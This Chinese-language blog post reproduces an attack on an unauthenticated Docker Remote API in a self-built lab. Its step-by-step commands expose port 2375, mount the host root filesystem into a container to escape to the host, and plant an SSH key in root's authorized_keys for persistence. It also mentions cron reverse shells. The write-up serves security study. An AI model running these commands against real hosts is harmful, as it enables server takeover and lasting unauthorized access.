首页 > 系统相关 >Docker Remote API未授权访问+docker逃逸导致Getshell漏洞复现

Docker Remote API未授权访问+docker逃逸导致Getshell漏洞复现

时间:2023-01-06 14:47:10浏览次数:49  
标签:Getshell Remote mnt tcp 漏洞 API ssh docker Docker

漏洞介绍

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。在默认部署的情况下,存在未授权访问的危害,导致攻击者可以执行任意命令,导致服务器沦陷。

Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异,都是通过向运行该应用的服务器写文件,从而拿到服务器的权限。

漏洞危害

1、导致命令执行,服务器被入侵
2、内网被渗透,导致数据被窃取等风险

受影响的版本

Docker version 19.03.12 之前版本

漏洞复现

在搭建靶机的过程中遇到了很多坑,按网上的方法使用vulhub搭建靶场,结果容器一直起不来,使用fofa找国外公网资产虽然多,但是各种限制,最后看到一篇文章,本地搭建成功了。

docker安装

使用官方脚本安装即可,我用的是菜鸟教程

https://www.runoob.com/docker/debian-docker-install.html

配置docker支持远程访问

安装完成之后,需要配置docker支持远程访问

1、进行文件备份

cp /lib/systemd/system/docker.service /lib/systemd/system/docker.service.bak

2、编辑docker服务文件

vim /lib/systemd/system/docker.service

3、在文件末尾加上如下代码

[Service]
ExecStart=
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

4、保存并退出后,重载守护进程以及重启docker服务即可

sudo systemctl daemon-reload   #重载守护进程
sudo service docker restart  #重启docker服务
systemctl status docker.service   #查看docker运行情况

漏洞检测

访问http://x.x.x.x:2375

image

docker -H tcp://x.x.x.x:2375 images

image

证明存在漏洞

漏洞利用

使用命令拉取一个镜像,可以用已经存在的镜像,这里我用的是一个busybox镜像,因为这个镜像很小,但是命令很全。

docker -H tcp://192.168.88.130 pull busybox

image

使用拉取的镜像启动一个新的容器,以sh或者/bin/bash作为shell启动,并且将该宿主机的根目录挂在到容器的/mnt目录下

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt bc01a3326866 sh  或者 /bin/bash

执行之后会返回一个该容器宿主机的shell
image

进入/mnt目录下即可逃逸到宿主机

权限维持

在本地生成ssh公私钥对,将公钥内容通过echo写入靶机/mnt/root/.ssh/authorized_keys文件中

image

image

使用ssh登录

ssh -i id_rsa [email protected]

image

补充说明

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt c8552d79a138 /bin/bash
等价于在宿主机上执行docker run -it -v /:/mnt c8552d79a138 /bin/bash
进入mnt目录后成功逃逸
权限维持方法
1、通过写入ssh公钥连接shell
本地生成rsa公私钥对
#ssh-keygen
将生成的公钥id_rsa.pub的内容复制,写入靶机的/root/.ssh/authorized_keys文件中
#echo "xxxxxxx" >>authorized_keys
本地进行ssh连接
#ssh -i id_rsa [email protected] (无需输入密码)
2、写入计划任务反弹shell

标签:Getshell,Remote,mnt,tcp,漏洞,API,ssh,docker,Docker
From: https://www.cnblogs.com/hgschool/p/17030399.html

相关文章